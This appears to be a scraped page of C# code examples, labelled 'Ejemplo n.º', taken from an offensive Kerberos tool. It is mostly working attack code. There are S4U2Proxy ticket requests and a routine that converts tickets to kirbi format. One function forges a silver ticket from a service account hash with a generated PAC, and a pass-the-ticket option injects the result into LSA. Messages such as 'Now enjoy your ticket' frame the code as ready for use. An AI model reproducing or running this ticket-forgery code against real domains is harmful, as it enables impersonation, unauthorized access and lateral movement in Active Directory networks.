            ReadOnlyMemory <byte> encodedTgs = tgs.EncodeApplication();


            Console.WriteLine("[*] Sending TGS-REQ [S4U2Proxy] ...");
            if (verbose)
            {
                PrintFunc.PrintReq(tgs, credKey, sessionKey.AsKey());
            }



            CancellationToken cancellation = default;

            cancellation.ThrowIfCancellationRequested();



            KrbTgsRep tgsRep = null;

            try
            {
                tgsRep = await transport.SendMessage <KrbTgsRep>(
                    rst.Realm,
                    encodedTgs,
                    cancellation
                    );
            }
            catch (KerberosProtocolException pex)
            {
                Console.WriteLine("[x] Kerberos Error: {0}", pex.Message);
                Environment.Exit(0);
            }


            Console.WriteLine("[*] Receiving TGS-REP [S4U2Proxy] ...");

            try
            {
                KrbEncTgsRepPart tgsDecryptedRepPart = tgsRep.EncPart.Decrypt <KrbEncTgsRepPart>(
                    subSessionKey.AsKey(),
                    KeyUsage.EncTgsRepPartSubSessionKey,
                    (ReadOnlyMemory <byte> t) => KrbEncTgsRepPart.DecodeApplication(t));

                if (verbose)
                {
                    PrintFunc.PrintRep(tgsRep, credKey);

                    Console.WriteLine("    * [Decrypted Enc-Part]:");
                    PrintFunc.PrintRepEnc(tgsDecryptedRepPart, credKey);
                }

                if (outKirbi)
                {
                    var kirbiTGS = Kirbi.toKirbi(tgsRep, tgsDecryptedRepPart, ptt);

                    Console.WriteLine("[+] TGS Kirbi:");
                    Console.WriteLine("    - {0}", Convert.ToBase64String(kirbiTGS));
                }
            }catch (Exception e)
            {
                Console.WriteLine("[x] {0}", e.Message);
            }
        }
Ejemplo n.º 13
0
        public static TicketCacheEntry ConvertKrbCredToCacheEntry(KrbEncKrbCredPart credPart, KrbTicket ticket, KrbCredInfo ticketInfo)
        {
            var key = new byte[ticketInfo.Key.KeyValue.Length];

            ticketInfo.Key.KeyValue.CopyTo(key);

            var usage = KeyUsage.EncTgsRepPartSessionKey;

            var sessionKey = new KrbEncryptionKey {
                EType = ticketInfo.Key.EType, Usage = usage, KeyValue = key
            };

            var kdcRepData = new KrbEncTgsRepPart
            {
                AuthTime  = ticketInfo.AuthTime ?? DateTimeOffset.UtcNow,
                EndTime   = ticketInfo.EndTime ?? DateTimeOffset.MaxValue,
                Flags     = ticketInfo.Flags,
                Key       = sessionKey,
                Nonce     = credPart.Nonce ?? 0,
                Realm     = ticketInfo.Realm,
                RenewTill = ticketInfo.RenewTill,
                SName     = ticketInfo.SName,
                StartTime = ticketInfo.StartTime ?? DateTimeOffset.MinValue,
                LastReq   = Array.Empty <KrbLastReq>()
            };

            return(new TicketCacheEntry
            {
                Key = ticket.SName.FullyQualifiedName,
                Expires = ticketInfo.EndTime ?? DateTimeOffset.MaxValue,
                RenewUntil = ticketInfo.RenewTill,
                Value = new KerberosClientCacheEntry
                {
                    SessionKey = sessionKey,
                    AuthTime = kdcRepData.AuthTime,
                    StartTime = kdcRepData.StartTime,
                    EndTime = kdcRepData.EndTime,
                    RenewTill = kdcRepData.RenewTill,
                    Flags = kdcRepData.Flags,
                    SName = kdcRepData.SName,
                    KdcResponse = new KrbTgsRep
                    {
                        Ticket = ticket,
                        CName = ticketInfo.PName,
                        CRealm = ticketInfo.Realm,
                        EncPart = KrbEncryptedData.Encrypt(kdcRepData.EncodeApplication(), sessionKey.AsKey(), usage)
                    }
                }
            });
        }
Ejemplo n.º 14
0
        //FROM TGS
        public static byte[] toKirbi(KrbTicket tgs, string srvName, string srvHash, EncryptionType etype, string service, bool ptt = false, bool verbose = false)
        {
            var kerbCred = new Utils.KerberosHashCreds(srvName, srvHash, etype);

            var ticketDecrypted = tgs.EncryptedPart.Decrypt
                                      (kerbCred.CreateKey(),
                                      KeyUsage.Ticket,
                                      b => KrbEncTicketPart.DecodeApplication(b));


            //KrbCredInfo::= SEQUENCE {
            //                key[0]                 EncryptionKey,
            //prealm[1]              Realm OPTIONAL,
            //pname[2]               PrincipalName OPTIONAL,
            //flags[3]               TicketFlags OPTIONAL,
            //authtime[4]            KerberosTime OPTIONAL,
            //starttime[5]           KerberosTime OPTIONAL,
            //endtime[6]             KerberosTime OPTIONAL
            //renew - till[7]          KerberosTime OPTIONAL,
            //srealm[8]              Realm OPTIONAL,
            //sname[9]               PrincipalName OPTIONAL,
            //caddr[10]              HostAddresses OPTIONAL
            //}

            string srvHost = null;

            if (srvName.Contains("$"))
            {
                srvHost = srvName.Replace("$", string.Empty) + "." + ticketDecrypted.CRealm;
            }
            else
            {
                srvHost = srvName;
            }

            var info = new KrbCredInfo()
            {
                Key       = ticketDecrypted.Key,
                Realm     = ticketDecrypted.CRealm,
                PName     = ticketDecrypted.CName,
                Flags     = ticketDecrypted.Flags,
                StartTime = ticketDecrypted.StartTime,
                EndTime   = ticketDecrypted.EndTime,
                RenewTill = ticketDecrypted.RenewTill,
                SRealm    = ticketDecrypted.CRealm,
                SName     = new KrbPrincipalName()
                {
                    Type = PrincipalNameType.NT_SRV_INST,
                    Name = new[] { service, srvHost }
                }
            };



            //EncKrbCredPart   ::= [APPLICATION 29]   SEQUENCE {
            //ticket-info[0]         SEQUENCE OF KrbCredInfo,
            //nonce[1]               INTEGER OPTIONAL,
            //timestamp[2]           KerberosTime OPTIONAL,
            //usec[3]                INTEGER OPTIONAL,
            //s-address[4]           HostAddress OPTIONAL,
            //r-address[5]           HostAddress OPTIONAL
            //}

            KrbCredInfo[] infos = { info };

            var encCredPart = new KrbEncKrbCredPart()
            {
                TicketInfo = infos
            };

            //KRB-CRED         ::= [APPLICATION 22]   SEQUENCE {
            //pvno[0]                INTEGER,
            //msg - type[1]            INTEGER, --KRB_CRED
            //tickets[2]             SEQUENCE OF Ticket,
            //enc - part[3]            EncryptedData
            //}
            var myCred = new KrbCred();

            myCred.ProtocolVersionNumber = 5;
            myCred.MessageType           = MessageType.KRB_CRED;
            KrbTicket[] tickets = { tgs };
            myCred.Tickets = tickets;


            //https://github.com/dirkjanm/krbrelayx/blob/master/lib/utils/kerberos.py#L220
            //No Encryption for KRB-CRED
            var encryptedData = new KrbEncryptedData()
            {
                Cipher = encCredPart.EncodeApplication()
            };

            myCred.EncryptedPart = encryptedData;

            byte[] kirbiBytes = myCred.EncodeApplication().ToArray();


            string kirbiString = Convert.ToBase64String(kirbiBytes);

            if (ptt)
            {
                LSA.ImportTicket(kirbiBytes, new LUID());
            }
            else
            {
                Console.WriteLine("[+] SliverTicket Ticket Kirbi:");
                Console.WriteLine("    - {0}", kirbiString);
            }
            if (verbose)
            {
                Console.WriteLine("[*] Ticket Info:");
                PrintFunc.PrintKirbi(kirbiString);
            }


            return(kirbiBytes);
        }
Ejemplo n.º 15
0
        public static KrbTicket BuildSliver(string srvName, string srvHash, EncryptionType etype, string username, string realm, string service, string domainsid,
                                            bool ptt = false, bool verbose = false)
        {
            var now = DateTime.UtcNow.AddTicks(-(DateTime.Now.Ticks % TimeSpan.TicksPerSecond));

            Console.WriteLine("\n[*] Building Sliver Ticket ...");

            var srvCred = new Utils.KerberosHashCreds(srvName, srvHash, etype);

            var authData = Pac.generatePac(username, domainsid, realm, srvCred.CreateKey(), now);


            //Arbitrary session key
            var sessionKey = KrbEncryptionKey.Generate(EncryptionType.RC4_HMAC_NT);

            KrbEncTicketPart encTicket = new KrbEncTicketPart()
            {
                AuthTime  = now,
                StartTime = now,
                //Ticket Expiration time (valid for 10 hours)
                EndTime   = now.AddHours(10),
                RenewTill = now.AddDays(7),
                CRealm    = realm,
                CName     = new KrbPrincipalName()
                {
                    Type = PrincipalNameType.NT_PRINCIPAL,
                    Name = new[] { username }
                },
                Flags = //TicketFlags.EncryptedPreAuthentication |
                        TicketFlags.PreAuthenticated |
                        TicketFlags.Initial |
                        TicketFlags.Renewable |
                        TicketFlags.Forwardable,
                AuthorizationData = authData,
                CAddr             = null,
                Key       = sessionKey,
                Transited = new KrbTransitedEncoding(),
            };

            var encData = KrbEncryptedData.Encrypt(
                encTicket.EncodeApplication(),
                srvCred.CreateKey(),
                KeyUsage.Ticket);

            //encData.KeyVersionNumber = 2;

            string srvHost = null;

            if (srvName.Contains("$"))
            {
                srvHost = srvName.Replace("$", string.Empty) + "." + realm;
            }
            else
            {
                srvHost = srvName;
            }
            var sliverTicket = new KrbTicket()
            {
                TicketNumber = 5,
                Realm        = realm,
                SName        = new KrbPrincipalName
                {
                    Type = PrincipalNameType.NT_SRV_INST,
                    Name = new[] { service, srvHost }
                },
                EncryptedPart = encData,
            };



            if (verbose)
            {
                var de = sliverTicket.EncryptedPart.Decrypt
                             (srvCred.CreateKey(),
                             KeyUsage.Ticket,
                             b => KrbEncTicketPart.DecodeApplication(b));

                Console.WriteLine("   * [Decrypted SliverTicket Ticket]:");
                PrintFunc.PrintTicketEnc(de);
            }



            Console.WriteLine("[*] Now you have a Sliver Ticket!");

            var kirbiTGT = Kirbi.toKirbi(sliverTicket, srvName, srvHash, etype, service, ptt, verbose);


            Console.WriteLine("[+] Done! Now enjoy your ticket.");

            return(sliverTicket);
        }